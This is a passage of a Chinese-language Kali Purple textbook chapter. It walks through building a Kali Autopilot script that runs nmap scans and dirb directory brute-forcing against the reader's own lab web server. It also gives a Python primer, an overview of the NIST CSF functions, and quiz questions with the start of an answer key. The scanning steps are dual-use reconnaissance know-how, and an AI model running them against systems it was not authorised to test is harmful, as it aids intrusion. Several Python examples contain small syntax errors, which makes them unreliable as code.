  • 场景创建与执行:该框架允许用户创建和执行定制的攻击场景、模拟演习和网络安全评估,测试并改善组织的安全防护。这包括模拟现实世界的威胁和战术,以识别漏洞和弱点。

  • 红队操作:Kali Autopilot 通过提供侦察、利用、权限提升、横向移动和后期利用活动的工具和功能,促进红队操作。它使红队能够模拟复杂的网络攻击,并评估防御措施的有效性。

  • 紫队协作:该框架通过促进红队和蓝队之间的协作,支持紫队行动。Kali Autopilot 使得进攻性和防御性安全团队可以共同进行演习,模拟攻击、检测威胁、应对事件,并增强整体的安全韧性。

  • 报告与文档:Kali Autopilot 包含生成详细报告、记录发现和跟踪红队与紫队活动进展的功能。这些报告可以用于合规性检查、风险评估、事件响应规划以及安全改进措施。

  • 工具集成:该框架集成了广泛的安全工具、脚本和框架,这些工具和框架通常用于红队和紫队任务中。无缝集成增强了网络安全专业人员可用的工具包,并确保了安全评估任务的全面覆盖。

  • 定制化与灵活性:用户可以定制和微调 Kali Autopilot 的行为、参数和配置设置,以使其符合特定的红队和紫队目标。这种灵活性使得网络安全评估和演习可以采取量身定制的方法。

  • 培训与技能发展:Kali Autopilot 是一个宝贵的平台,供网络安全专业人员提升其进攻性和防御性安全实践的技能、知识和专长。它提供模拟环境中的实操经验,帮助提高处理网络威胁和漏洞的能力。

  • 可扩展性与企业部署:该框架设计上具备可扩展性,可以适应不同组织规模、安全环境和操作需求。Kali Autopilot 支持企业级部署,用于大规模管理和协调红队和紫队活动。

  • 社区支持与更新:Kali Autopilot 受益于一个充满活力的网络安全专业人士、红队成员和紫队成员社区,他们为其开发、改进和支持做出了贡献。用户可以利用社区驱动的资源、更新和合作机会,最大化该框架的有效性。

Kali Autopilot 无需额外的下载、安装或激活。如果你已经安装了 Kali Purple,它应该已经设置好并准备就绪!

要启动 Kali Autopilot,请按照以下步骤操作:

  1. 启动并登录到你的 Kali Purple 虚拟机实例

  2. 选择屏幕左上角的 Kali Linux 龙图标,位于文件字样下方

  3. 将光标移动到左侧栏,悬停在08 - 利用工具

  4. 从第二列中选择Kali Autopilot,如图 11.1所示:

图 11.1 – 从菜单启动 Kali Autopilot

图 11.1 – 从菜单启动 Kali Autopilot

如果由于某种奇怪的原因 Kali Autopilot 未在你的 Kali Purple 实例中安装——这真的不应该发生——那么你可以打开终端窗口,输入sudo apt install kali-autopilot,确保包括连字符。

完成上述步骤后,Kali Autopilot - 自动化攻击生成器将加载,并显示两行内容。第一行将包含三列。左侧的列是用于管理攻击脚本的窗格,包括添加、删除、导入、导出或保存脚本的选项。中间的列是用于管理所选脚本变量的窗格。右侧的窗格是产品执行任务所需的网络和通信设置。第二行只有一列,跨越整个宽度,包含攻击序列:

图 11.2 – Kali Autopilot 默认图形界面

图 11.2 – Kali Autopilot 默认图形界面

现在你已经学会了如何通过繁琐的方式启动它,我们还要告诉你,你也可以打开命令终端,直接输入kali-autopilot来加载 Autopilot 图形界面。接下来,让我们用 Autopilot 创建第一个自动化攻击脚本。如果你以前从未写过代码或创建过脚本,别担心!Autopilot 会为你完成大部分繁重的工作。我们会一步步引导你完成。

在继续之前,我们先确保你可以使用名为Dirb的工具。请通过进入命令行并输入sudo apt-get install dirb来确认你已经安装了这个工具。Dirb 常被称为目录突破工具目录暴力破解工具,它的作用是通过执行字典攻击来查找网络服务器上隐藏的网页内容、目录和文件。

接下来,我们开始编写攻击脚本。要创建测试脚本,进入 Autopilot 的左上角的攻击脚本窗口。在该窗口底部的脚本字段中输入MyFirstAutopilotScript或任何你喜欢的名称——记得这是你脚本的名称。然后点击添加按钮,如图 11.3所示:

图 11.3 – 创建你的第一个 Kali Autopilot 脚本

图 11.3 – 创建你的第一个 Kali Autopilot 脚本

你会注意到中间的窗口会自动填充上你的新脚本名称,如图 11.6所示。我们在这里要做的只是创建一个简单的脚本,用来扫描我们的主机系统和一个 Web 服务器,我们现在就开始设置。如果你的系统中已经有它了,那么直接跳过这一步。如果没有,输入sudo apt install apache2并按照提示操作。如果你已经安装过,它会显示相关信息。如果没有,它会开始安装。这个过程非常迅速且简单,应该不会造成任何痛苦。如果在安装 Apache Web 服务器时你出现了失血的情况,立刻停止操作,因为你做错了某些非常非常严重的事情。寻求医疗帮助,然后在继续之前找到附近的 Linux 安装专业人员。

当你已经被医治好并且可以重新开始时,输入sudo systemctl start apache2启动你刚刚安装的 Web 服务器,然后输入sudo systemctl status apache2以确保一切正常。现在,我们要创建两个变量。第一个我们叫Subnet,它将用于扫描我们的主机系统。第二个是Webserver,它将用于扫描我们刚刚安装的 Web 服务器。我们将把这些变量的值设定为它们各自的 IP 地址。这样,如果这些 IP 地址发生变化,我们无需重写整个脚本,只需回到中间窗口,修改它们的值,再让 Autopilot 重新生成脚本,它会用新的值替换旧的值。

要创建这些变量,我们首先需要获取默认值,即当前的 IP 地址。进入你的主机系统并打开命令终端。如果你不记得如何操作,可以回到第三章进行查看。如果你的主机是 Windows,输入ipconfig并查找 IPv4 值,如图 11.4所示。如果是 macOS 或 Linux,你需要输入ifconfig来获取相同的信息:

图 11.4 – Windows 系统 ipconfig 命令

图 11.4 – Windows 系统 ipconfig 命令

记录下这些信息,然后在 Kali Purple 实例中的终端窗口里输入ifconfig,以获取 Web 服务器的信息。你的 Web 服务器托管在 Kali Purple 实例上,你需要获取显示在图 11.5中的 eth0 IP 地址:

图 11.5 – VM 系统 ifconfig 命令

图 11.5 – VM 系统 ifconfig 命令

返回到你的 Autopilot 应用程序并创建两个变量。

要创建一个变量,你需要将光标放在中间窗口第一列的第一行(在此例中是第 1 行),在Name标题下方的空白行中。选中该字段后,直接开始输入你想要输入的内容,然后按Enter键。将第一个命名为Subnet,第二个命名为Webserver。填写你的主机的 IP 地址,并在其后加上斜杠和数字 24,如图 11.6所示。使用这个斜杠的方式被称为无类域间路由CIDR)表示法。这是一种定义 IP 地址范围的快捷方式,而无需列出每一个单独的地址。如果你想深入研究 CIDR 表示法的原理,我们会在进一步阅读部分提供一个链接供你参考。

在这种情况下,你会注意到每个 IP 地址由四组数字组成,且每组数字之间用点分隔。这被称为一个八位字节(octet)—因为点本身是代码的一部分,总共有四个点。最后的点,在每个 IP 地址的末尾,是不可见的。其实它并不是真正消失了,我们只是为了便于书写省略了它。每个非点的八位字节(总共 4 个)是从 0 到 255 的数字,即最大 256 个数字(从 0 到 255)。所以在这里,我们告诉代码,32 位中有 24 位不可用,剩下的 8 位可以使用,这意味着你的变量将扫描最多 256 个 IP 地址,因为这 8 位可以通过 256 种不同的 1 和 0 的组合来操作。这 256 个 IP 地址是10.0.0.010.0.0.255,只有最后的数字八位字节的值会发生变化:

图 11.6 – 在 Autopilot 中设置变量

图 11.6 – 在 Autopilot 中设置变量

一旦我们的变量设置完成,我们可以在右上角的窗口中选择为我们的攻击脚本添加一些随机化。为什么我们要这么做呢?如果你问任何一位经验丰富的 SOC 分析师,你会了解到他们会注意到一些模式。比如说,精确的动作在相同的时间间隔内反复发生,这显然是自动化的迹象。自动化几乎总会引起更深入的挖掘,并且攻击被发现的概率非常高。为什么我们要在只进行道德操作时也要关心这个问题呢?因为作为一名渗透测试员或道德黑客的一部分,正是要像真正的网络犯罪分子那样尽可能躲避防御措施。这将帮助我们从漏洞中学习,努力发现或开发新的方式来识别潜在的恶意行为。

在你们这些从事执法工作或有执法背景的人中,可能在某个时候听到过类似于“如果你想学会如何抓住罪犯,那么你需要学会如何像罪犯一样思考”的话。这在网络安全行业也是如此。如果你想学会如何抓住黑客,那么你需要学会如何像黑客一样思考。

设置面板中,这几乎是显而易见的。延迟的值是你希望脚本在每个动作之间随机延迟的最小毫秒数和最大毫秒数之间的范围。接口字段是指你正在进行攻击的网络接口。我们将保持eth0不变。我们还将保持 API 端口设置为80,因为我们正在对一个 Web 服务器发起攻击:

图 11.7 – 设置窗口允许随机化

图 11.7 – 设置窗口允许随机化

我们已经设置了脚本名称、变量和设置。现在,让我们编写实际的攻击脚本。Autopilot 按阶段工作,阶段零是第一阶段。我们不为阶段零编写指令。那是内部的,Autopilot 可以用来设置主要攻击。话虽如此,让我们将指令的开始标识为第一阶段。在脚本化攻击序列的第 1 行,在第一列动作下写上STAGE(全大写)。实际上,写成全大写并不是必须的,这只是为了可读性。在第二列引用下,输入数字1来表示我们所讨论的阶段。

在第二行和第三行,我们将执行两个扫描动作——一个是针对我们的主机操作系统,另一个是针对我们设置的 Web 服务器。因此,我们会非常精确地命名这些动作,以便反映我们所采取的动作——扫描。 在第二行和第三行的动作列下,输入扫描。现在我们已经确定了动作,让我们输入实际的命令。

在第二行的命令列下,输入nmap -sn {Subnet}。大括号表示我们正在输入一个变量。大括号内的值就是变量的名称。在这种情况下,我们输入的是Subnet,这是我们在 Autopilot 中创建的第一个变量。因此,nmap -sn {Subnet}命令也可以写成nmap -sn {10.0.0.192/24},不过这样做的好处是,如果我们想更改要扫描的范围或 IP 地址,只需在变量窗口中更改Subnet的值,而不必触及实际的攻击序列代码:

图 11.8 – Autopilot 攻击序列

图 11.8 – Autopilot 攻击序列

符号,通常被称为tack符号(也可以叫做破折号、连字符或减号,但它作为“tack”符号更为流行,这个词来自军事术语),表示这是添加到 Nmap 的附加指令。s表示让 Nmap 将此命令中的值应用于扫描活动。这是因为 Nmap 除了扫描外,还有许多其他用途。n表示告诉 Nmap 这是一个无端口扫描。它指示 Nmap 执行更广泛的扫描,通过发送 ICMP 回显请求来确定目标的在线或离线状态,而不花时间扫描开放端口。

在第三行的命令列中,键入nmap -PS -sV {Webserver}。请注意,我们不需要为此命令添加端口号,因为它已经在右上角的设置窗口中设置了。在这种情况下,-PS告诉 Nmap 执行 TCP SYN Ping 扫描。它告诉 Nmap 通过向目标主机发送 TCP SYN 数据包来执行扫描,以确定它们是否可达。它通过此扫描评估主机是否活动并响应。-sV选项启用版本检测。它会尝试确定目标主机上运行的服务的版本。这对于攻击者来说是非常有价值的信息,因为任何特定服务的旧版本可能会有已知的漏洞,这可能会告诉攻击者他们拥有比预期更多的攻击途径。

在第四行,我们将尝试执行枚举,因此操作列中的值应为枚举。然后,在命令列中,键入dirb http://{Webserver}

完成后,点击自动驾驶工具底部的生成按钮,它将自动为你生成 Python 攻击脚本。你会看到一个弹窗,显示 Autopilot 放置攻击脚本的位置,如图 11.9所示。使用cd命令导航到该位置:

图 11.9 – 自动驾驶 Python 脚本生成

图 11.9 – 自动驾驶 Python 脚本生成

在我们的例子中,命令是cd kali-autopilot/MyFirstAutopilotScript。接下来,我们将发布一个命令来调用我们的 Python 网络服务器并使其运行。键入python3 -m http.server来实现这个目标。你可以按Ctrl + Z来中断循环,然后键入ps ux来查找并确认服务器是否在运行。它将在你活动进程列表的底部附近显示,显示的命令与你输入的完全一致——python3 -m http.server——并且出现在最右列,如图 11.10所示:

图 11.10 – PS ux 命令显示我们的服务器正在运行

图 11.10 – PS ux 命令显示我们的服务器正在运行

保持终端窗口打开,双击终端图标打开另一个终端窗口,并通过键入与前一步相同的cd kali-autopilot/MyFirstAutopilotScript命令来导航到您的 Python 脚本。自然地,如果您将脚本命名为其他名称,则路径将根据您的命名进行调整。进入该目录后,键入ls以查看您的脚本是否在该文件夹中——它应该在。键入./MyFirstAutopilotScript.py来运行脚本。您可能会遇到缺少模块的错误。若缺少模块,您可以键入pip install 来安装该模块。因此,在我们的例子中,我们键入了pip install paramiko,如图 11.11所示。安装任何缺失的模块后,再次键入python3 ./来尝试启动脚本。如果成功,您将看到如图 11.11所示的输入:

图 11.11 – 安装缺失的模块并启动 Autopilot 脚本

图 11.11 – 安装缺失的模块并启动 Autopilot 脚本

注意

如果不成功,请仔细阅读任何错误信息。通常,它们会告诉您需要做什么。出现错误的原因有无数种,往往是由于某些特定的技术问题。我们给出的现代建议之一是,当遇到 Linux shell、脚本或编译错误时,您可以将错误信息复制并粘贴到您最喜欢的 AI 聊天机器人中。我们强烈推荐谷歌的 Gemini 用于任何与 Linux 或代码相关的问题。

此时,您的脚本已经启动,但尚未由我们投入使用。它处于零阶段。为了推动它向前,我们将打开一个网页浏览器并访问localhost/check。当您到达该页面时,系统会要求您使用用户名和密码登录。Autopilot 的默认用户名和密码均为offsec。然后,当页面加载完毕时,您将看到一个非常简单的文本报告,确认攻击处于零阶段。在这种情况下,它显示的是零阶段中的第一阶段,因为我们在脚本中只设置了一个阶段。如果我们有十二个阶段,它会显示攻击处于第 0 阶段,共 12 阶段。您明白了:

图 11.12 – 浏览器确认攻击处于脚本中的第 0 阶段

图 11.12 – 浏览器确认攻击处于脚本中的第 0 阶段

为了推进我们的攻击,我们将选择浏览器中的URL字段,并将地址更改为localhost/set?mutex=1,以将攻击阶段设置为 1。返回到您输入命令以启动脚本的终端窗口,您将看到您的脚本开始工作,如图 11.13所示:

图 11.13 – 浏览器确认攻击处于脚本中的第 0 阶段

图 11.13 – 浏览器确认攻击处于脚本中的第 0 阶段

就是这样!如果你已经做到这一点,恭喜你!你刚刚成功创建并运行了自己的自动化网络攻击脚本!开发人员会使用许多编程语言进行脚本编写。虽然没有硬性规定什么时候使用哪种脚本语言,但例如你很可能会在一个网页开发者的工具箱中找到 JavaScript。在网络安全领域,你会在nix 家族的操作系统中看到大量的 Bash,这包括 Linux。然而,网络安全并不限于nix 操作系统。对于网络安全目的来说,最有可能和最通用的脚本语言是 Python。事实上,你在本书中已经多次看到 Python 的依赖。这是因为 Python 非常多才多艺,相比其他语言易于学习,并且拥有非常丰富的库和框架,使其适用于渗透测试、网络安全监控、自动化和一般脚本编写等任务。那么,让我们来看看 Python 脚本语言。

Python

我们这里的 Python 课程与你迄今为止遇到的任何编程语言课程都不同。课程将非常简短而精炼。因为我们不是要教你如何编写代码,市面上已经有大量的资源可以帮助你学习这一点。虽然学习如何编写自己的代码具有很大的价值,尤其是在网络安全的中高级阶段,但从一开始就知道如何写代码并不是必要的。然而,必要的是能够阅读和理解代码。这要求我们有一个不那么严格的课程计划。

Python 的一个重要方面是知道脚本中的语言何时是代码的一部分,何时又是给人类阅读的程序员指令的一部分。这是通过输入#符号来实现的,它告诉任何 Python 编译器忽略该行中#符号后面的所有文本。所以,如果你有大量非代码信息要共享,你需要在每一行前加上#符号:

# This is the
# beginning of a
# multi-line comment

任何编程语言的一个优点是能够定义并使用可变的信息。也就是说,这些信息可以随着时间的推移而改变。在 Python 中,这是很简单的。你只需决定你想给变量命名,添加一个等号,然后给它一个默认(初始)值:

awesomeSauce = 0

这意味着每次你在代码中看到awesomeSauce这个词时,它要么是0的值,要么是在代码中对它应用数学运算后的新值:

print(awesomeSauce + 1)
# This is the same as the computer printing the value of
# awesomeSauce + 1, in other words 0 + 1 which is 1.

在这个上下文中,你还注意到如果你希望 Python 代码将某些内容打印到用户的屏幕上,你只需使用print这个词。

如果你想让一个变量是一个单词而不是数字呢?这也很简单。你只需要将值放在引号中,以告诉编译器引号内的字符,无论是字母还是数字,都是文本字符而不是数字:

awesomeSauce = “Sweet Baby Ray’s”
print("My favorite sauce is: " + awesomeSauce + "!")
# This prints - My favorite sauce is: Sweet Baby Ray's! - to your
# screen. You might someday decide that your favorite sauce has
# changed. So, you simply need to change the variable, leaving the
# rest of the code alone.
awesomeSauce = "Sour Baby Ray's"
print("My favorite sauce is: " + awesomeSauce + "!")
# Now it will print – My favorite sauce is: Sour Baby Ray's!

你会注意到,字符串(即文本字符)是通过使用引号来表示的。而数学值和调用变量(如在 print 函数中所见)则不使用引号。当一个变量被用在句子中时,你可以使用加号来将不同部分的句子拼接在一起。

你会注意到加号并不是直接加数字,而是在将某些内容组合在一起。它们在将字符串的各部分拼接在一起。放心,当你看到 Python 代码中的常见数学运算符时,它们确实在执行你所期望的数学操作。这些包括:

标题 符号 操作
加号 + 加法
减号 - 减法
星号 ***** 乘法
斜杠 / 除法
百分号 % 取余(除法的余数)
双星号 ****** 指数运算

表 11.1 – Python 数学运算符

还有其他运算符,但这只是一个入门课程,帮助你理解 Python 中一段基本代码。沿着这个思路,你还需要熟悉比较运算符。这是指将一组数据与另一组数据进行比较。它们包括以下几种:

比较 运算符名称 符号
等于 a == b
不等于 a != b
小于 a < b
小于或等于 a <= b
大于 a > b
大于或等于 a >= b

表 11.2 – Python 比较运算符

使用这些数学和比较运算符,你可以控制信息的流动。因此,在阅读 Python 代码时,你可以查看如下语句,以便根据已识别的条件了解代码可能会执行的操作:

If a < b:
print(a + " is less than " + b)
elif a == b:
print(a + " is equal to " + b)
else:
print(a + " is greater than " + b)

在前面的代码中,elif 代表 “如果前一个语句不成立,但如果这个语句成立,那么就执行下一行”,而 else 代表 “如果前面的语句都不成立,那么不管怎样,都执行下一行”

你还可以通过循环控制信息的流动。第一个是 while 循环。它意味着,只要某个条件为真,就继续不断地执行接下来的操作,直到条件不再为真。考虑以下代码:

morale = 0
while morale < 11:
	if morale == 10:
		print("Morale has improved! The beatings will stop.")
	elif morale < 10:
		print ("The beatings will continue")
	morale += 1

你认为上述代码会做什么呢?如果你说它会打印"The beatings will continue" 10 次,然后再打印一次"Morale has improved! The beatings will stop.",那么你是正确的。这是因为morale变量的初始值为0,代码的最后一行表示将该变量的值增加1,然后重新运行循环。它会继续循环,直到初始条件变为假。发生这种情况时,morale的值达到11,因为while循环明确指出,它只会在值小于11时运行。

下一种循环叫做for循环。在 Python 中,它与许多其他语言略有不同。它更简单。它差不多意味着“只要”,可以用在字符串或数字上:

for n in range (20, 60, 5):
	print(x)
# calling the (range) function. 1st number is bottom, 2nd is top, 3rd is
# the value to increment by. In this case, we are counting by fives
# starting at the number 20 and finishing at 55.
money = ["rich", "wealthy", "modest", "struggling", "poor", "broke", "can't even afford to pay attention"]
for m in money:
	if m == "struggling"
		continue
	print(m)
# This for loop will loop through the entire list of text except when # it reaches the word "struggling" which it will skip but then
# continue on with the rest of the list.

任何编程语言的核心都是函数。在 Python 中,函数的声明与其他语言几乎相同,只是在语法上有细微的变化。在 Python 中创建函数是通过使用def这个关键词来定义的。然后,在同一行中,您需要写出函数的名称,并在圆括号中指定您希望为该函数设置的任何参数。如果您之后希望调用该函数,只需在圆括号中输入您希望传递给它的任何值即可。以下代码将cname作为参数,用作任何信息的变量,每当从代码的其他地方调用该函数时,都会传递给它。我们调用函数六次,传递六个不同的文本变量给原始的函数参数cname进行处理:

def security_clearance(cname):
	print(cname + "** CLASSIFIED **")
security_clearance("Confidential")
security_clearance("Secret")
security_clearance("Top Secret")
security_clearance("Top Secret – White Knight")
security clearance("Top Secret – Black Knight")
security clearance("Top Secret – Night night")

上述代码创建了一个名为security_clearance的函数,并接受一个名为cname的参数。当调用该函数时,它会执行其中的命令。在这个例子中,唯一的命令是接受cname参数,该参数会在函数调用时被输入,并将文本**** CLASSIFIED 附加到它后面。以下六行代码都是调用该函数并将括号中的数据传递给函数的例子,这样它就成为了cname变量。所以,对于每一行,它都会获取括号中的值并在其后添加文本 CLASSIFIED ****。例如,第一行将会输出**"Confidential ** CLASSIFIED "到屏幕上。

在阅读 Python 代码时,任何看到def ()的地方,都可以认为那是在定义一个函数。任何看到()的地方,如果前面没有def,那就是调用函数的例子,并将括号中的值传递给函数定义中的指令,以告诉程序如何处理您传递给它的信息。

如果你在 Python 脚本中看到以下内容,你可以放心地得出结论,代码正在尝试读取你在文件路径中看到的那个文件。当然,如果你正在尝试打开那个文件,希望你是在 FBI 工作并且想要拯救一些生命。否则,你可能会发现自己身处一个非常糟糕的境地:

f = open("D:\\mafiaFiles\hitlist.txt", "r")
print(f.read())

你还应该查看 Python 代码是否会创建新文件或写入文件:

f = open("hitlistTwo.txt", "a")
f.write("'Joey The Sledgehammer Hoffa")
f.close()
# A good coder will close the file after appending to it
# and then open it using f.read to view it
f = open("hitlistTwo.txt", "r")
print(f.read())

如果你看到像以下这样的代码,那就是 Python 正在连接数据库。在这种情况下,它正在连接到 MySQL,这是一个非常流行的数据库,大家都在用:

import mysql.connector
myfirstdatabase = mysql.connector.connect(
 host="localhost",
 user="Karllane",
 password="Batman"
)
print(myfirstdatabase)
# You will see words, usually in all caps but not necessarily, like
# SELECT, INSERT, WHERE, DELETE, CREATE, JOIN, LIMIT, ORDER BY,
# and DROP that will indicate database activity is occurring

好的,Python 还有更多的内容,功能数量成指数级增长。然而,本节课的目的不是教你 Python,而是教你如何识别 Python 代码的最基本组成部分,这样在浏览他人的 Python 脚本时,你可以大致理解代码的作用。

让我们来运用你新学到的 Python 识别技能。考虑以下代码,它会检查日志文件中的特定关键字,并在找到匹配时触发警报:

# Import libraries
import re                  #Regular expressions for pattern matching
#Main function
def check_logs(filename, keywords):
  with open(filename, "r") as f:      #open the log file to check
    for line in f:                    #Read the log file line by line
      for keyword in keywords:        #Check for each keyword
        if re.search(keyword, line):  #If there's a match… do nextline
          print(f"Alert! Found keyword '{keyword}' in log file: {line.strip()}")
# Define the log file path and keywords to search for
log_file = "/path/to/your/log/file.log"
keywords = ["ERROR", "WARNING", "unauthorized access"]
# Call the function to check the logs
check_logs(log_file, keywords)

随着我们接近旅程的尾声,我们已经开始涉及自动化,并且查看了 Autopilot 使用的 Python 代码——事实上,Kali Purple 的许多工具也使用了这些代码。现在,我们应该看看引导 Kali Purple 结构的框架。在第一章中,我们曾简要介绍过它。它就是 NIST CSF,该框架在 2024 年 2 月 26 日由 NIST 首次更新,版本号为 2.0。

NIST 控制

当 Kali Purple 被开发出来时,最初作为一个概念验证(后来迅速演变成一个完整的框架和平台),开发者基于五个基本的网络防御阶段来构建它:识别保护检测响应恢复。这五个阶段本身是由国家标准与技术研究院NIST)开发的。在 2024 年 2 月,NIST 为该框架新增了第六个阶段,治理

NIST 实际上是美国商务部下属的一个机构,成立于 1901 年,当时大多数技术可能还是集中在工厂行业。NIST 创建网络框架的最大讽刺是,它最初是作为一个物理科学实验室成立的。然而,随着多年来的扩展,其覆盖领域也逐渐增加,其在网络安全领域的目的在于制定最佳实践,以提高信息系统的安全性和韧性,并保护敏感数据。NIST 定期开展研究,并提供资源,帮助组织应对网络安全挑战,以保持强大的网络安全态势。

如果你启动 Kali Purple 虚拟机实例并登录桌面,你会看到屏幕左上角有一个图标,位于文件字样下方,图标是 Kali Linux 龙的吉祥物,背景为紫色。选择该图标后,你会注意到下拉菜单的组织方式:

图 11.14 – Kali Purple 工具菜单

图 11.14 – Kali Purple 工具菜单

完整的 NIST 框架由三个主要(或父级)组成部分构成:核心、实施层级和配置文件。针对 Kali Purple 的目的,我们将只关注核心部分。更具体地说,我们将专注于核心的五个主要功能。这些功能包括识别保护检测响应恢复

识别

NIST CSF 中的识别功能是一个关键组件,专注于发展对组织资产、业务环境、网络安全风险和流程的理解。它通过详细识别和记录以下元素,为有效的网络安全风险管理奠定基础:

  • 资产管理

  • 业务环境

  • 治理

  • 风险管理与战略

  • 供应链风险管理

  • 网络安全角色与责任

你能想到我们已经介绍的哪些工具可能适用于这些领域吗?的确有一些工具大致可以归类于这一类别,但大部分 Kali Purple 的识别工具可以在红队——严格意义上的 Kali Linux——这一家庭分支中找到。我们在本章之前提到过其中的几个工具,包括 GVM、Kali Autopilot、Maltego 和 ZAP。

保护

NIST CSF 中的保护功能专注于实施保障措施,以确保组织资产和基础设施的安全性、完整性和韧性。其目标是制定并实施适当的保障措施,确保敏感数据的保护和隐私,并及时有效地应对网络安全风险。该功能的一些核心方面包括:

  • 访问控制

  • 意识和培训

  • 数据安全

  • 信息保护、流程和程序

  • 技术维护

  • 安全技术配置

我们所介绍的工具无疑有助于这一功能,此外还有一些 Kali Linux 特定的工具。请记住,这些工具的分类可以归属于多个核心功能,而一个工具所属的功能可能是主观的,取决于你的使用方式。在保护功能下,你会找到 Suricata 和 Zeek;后者也会归属于检测,我们将在接下来的部分讨论。

检测

NIST CSF 的检测功能涉及对网络安全事件的持续识别、检测和及时响应。它侧重于开发和实施系统、流程和能力,以识别组织环境中的网络安全威胁、未经授权的活动和潜在漏洞的发生。

该功能的主要目标是使组织能够迅速有效地识别和响应可能对其资产、数据和运营构成风险的安全事件、入侵和异常活动。与检测功能相关的一些关键组件包括以下内容:

  • 持续监控

  • 异常检测

  • 威胁情报集成

  • 事件响应准备

  • 漏洞扫描与评估

  • 安全事件关联

  • 终端检测与响应

  • 威胁狩猎与分析

正如你可能已经猜到的那样,我们涵盖的大部分工具确实属于这一类别,比如根据配置和使用方式不同的 ELK Stack,以及我们在上一节讨论过的 IDS 和 IPS 系统——Arkime 和 Zeek。

响应

响应核心功能涉及开发和实施措施与流程,以迅速有效地响应网络安全事件、泄露和干扰。它强调具备遏制、缓解和从安全事件中恢复的能力,同时确保恢复正常操作并保护关键资产。响应功能侧重于协调行动、沟通和战略决策,以应对安全事件的影响并最小化其后果。该功能的核心特点包括以下内容:

  • 事件响应规划

  • 遏制与消除

  • 通信与报告

  • 证据保存

  • 恢复与修复

  • 事件后分析

  • 法律和合规性

  • 业务连续性与韧性

  • 利益相关者协调

我们在第八章讨论的工具和话题直接与该功能相关,如 Cortex、MISP 和 TheHive。

恢复

NIST CSF 中的恢复核心功能聚焦于开发和实施策略与流程,以恢复、修复并重建在网络安全事件、干扰或泄露后的关键能力和服务。其目的是最小化事件的影响,提高响应效率,并促进操作、系统和数据的及时恢复。该功能强调业务正常运营的连续性和恢复,同时解决事件的根本原因,以防止未来的重复发生。关键恢复组件包括以下内容:

  • 连续性规划

  • 资源恢复

  • 数据恢复与完整性

  • 基础设施重建

  • 韧性与冗余

  • 事件后分析与改进

  • 利益相关者沟通

  • 法律和监管合规

  • 供应商和供应链协调

  • 业务影响评估

我们介绍的一些工具有助于支持 NIST CSF 的恢复功能。然而,重要的是要认识到,Kali Linux 本身提供了超过 600 个预安装的工具,而 Kali Purple(包括默认的 Kali Linux)则增加了大约 100 个额外工具。在本书中,我们介绍了一些最常见、最著名的工具,并补充了一些与之相似或互补的工具。大多数数据收集工具有助于恢复,比如 Elasticsearch、Suricata、Zeek 日志,尤其是 TheHive/Cortex 工具组。

治理

NIST CSF 中的治理功能在版本 2.0 中加入该框架,该版本于 2024 年 2 月发布。它的设计是为了考虑首席信息安全官CISO)的需求。随着网络安全作为一个独立职业的角色扩展,工具、团队和挑战的增加,政策、透明度和管理能力方面的差距也随之增大。治理旨在提高透明度,提供组织背景,明确网络安全功能中的角色定义,并推动遵守政策、程序和流程。我们在这里不会深入探讨这一功能,因为本书主要是介绍和理解一系列技术。然而,这些技术是基于其他五个 NIST CSF 功能的,而这五个功能现在被认为都归属于治理这一广泛的第六个功能。治理建立了组织为了实现其他五个功能所能采取的路径和参数。它帮助 CISO 理解与风险管理、角色、职责、权力和政策相关的整个组织背景。它确实是一个监督功能。我们将在进一步阅读中提供 NIST CSF 2.0 的直接链接。

概述

真是一段旅程!在《Kali Purple 入门》的最后一章中,你评估了通过设置 Kali Autopilot 并提供简单的扫描脚本来自动化渗透测试的过程。现在,你了解了如何创建自己的自动化攻击脚本的基础。

我们还提供了 Python 脚本语言的高级概述,期望你能识别出大多数 Python 脚本的核心组件。这应该能够帮助你理解任何特定脚本中的内容,甚至让你在不需要真正懂得编写 Python 代码的情况下,编辑脚本以使其符合你的需求!

最后,我们讲解了更新的 NIST CSF 2.0,其中包括新添加的治理功能,并对每个 NIST 功能有了基本的理解,包括治理。我们了解到 Kali Purple 发行版是根据 NIST CSF 创建的,其理念是对于红队或蓝队的网络安全专业人员来说,拥有一套全面的工具集是最有用的。

当你继续谈判你的网络安全职业生涯时,无论你是蓝队、红队,还是真正的紫队成员,利用来自两者的概念和技术来更好地理解和掌握两者,你都会不断面对新的挑战,以及相应的新解决方案。记住,学习永远不会停止,因为坏人永远不会停止。他们将总是找到新的漏洞,而好人将永远找到解决方案。也许,最终,总有一天我们会拥有一个百分之百安全的世界,坏行为将不再可能。然而,在这样一个世界实现之前,我们总是需要像你和我们这样的人。

我们是一群专业的问题解决者,强调使用“专业”这个词。我们在这里不是为了挑毛病或炫耀自己的自负(嗯...也许有点),而是要互相支持,互相建设,互相赋能,并使用我们的大脑和解决问题的能力创造一个统一、更安全的世界。

我们留给你的最后一条指导是,在你提升你的网络安全职业生涯时:无论你的知识和技能水平如何,始终保持善良、谦逊和好奇心。掌握这三样东西,你的道路余下的部分将会展现在你面前。

问题

  1. 什么是 Kali 自动驾驶?

    1. 用于黑客无人机的应用程序

    2. 用于自动化渗透测试和模拟网络防御的应用程序。

    3. 一个用于加利福尼亚飞行员的应用程序

  2. 如果你想学习如何捕捉一个黑客,那么你需要...

    1. 反复观看《剑鱼》直到理解透彻。

    2. 吃饭像一个黑客;饮食很关键!

    3. 去黑客学校,在那里完成四年的黑客学位

    4. 想像自己是一个黑客

  3. 如何区分 Python 代码和面向人类的文本?

    1. 所有数据在#符号之后都会被编译器/解释器忽略,只用于人类阅读。

    2. Python 语句都以Sssssssssss结尾...

    3. 所有#符号之后的数据都会被编译器/解释器处理,其余的都是为了人类。

    4. 只有斯莱特林学院的成员才能阅读 Python。

  4. 如何在 Python 中定义一个函数?

    1. 输入define func,后跟函数名称

    2. 输入函数名称,然后附加.py

    3. 输入单词def,后跟函数名称和括号内的函数参数

    4. 在韦氏词典中查找它

  5. 自其创建以来,NIST 首次发布了 CSF 的更新。新增的框架中的第六个功能是什么?

    1. 识别

    2. 治理

    3. 规则

    4. 保护

  6. 你最喜欢的作者是谁(只有一个正确答案)?

    1. 卡尔·莱恩

    2. 卡尔·莱恩

    3. 卡尔·莱恩

    4. 卡尔·莱恩

    5. 卡尔·莱恩

    6. 卡尔·莱恩

    7. 詹姆斯·帕特森

进一步阅读

附录:答案钥匙

第一章

  1. 什么是 SOC?

    1. 特种作战指挥部

    2. 操作行为标准

    3. 安全 操作中心

    4. 一块别人穿在脚上的布

    答案: C – SOC 代表安全 操作中心

  2. Hydra 和 John the Ripper 之间的主要区别是什么?

    1. Hydra 专注于从哈希列表中破解密码,而 John the Ripper 专注于通过网络应用进行暴力破解

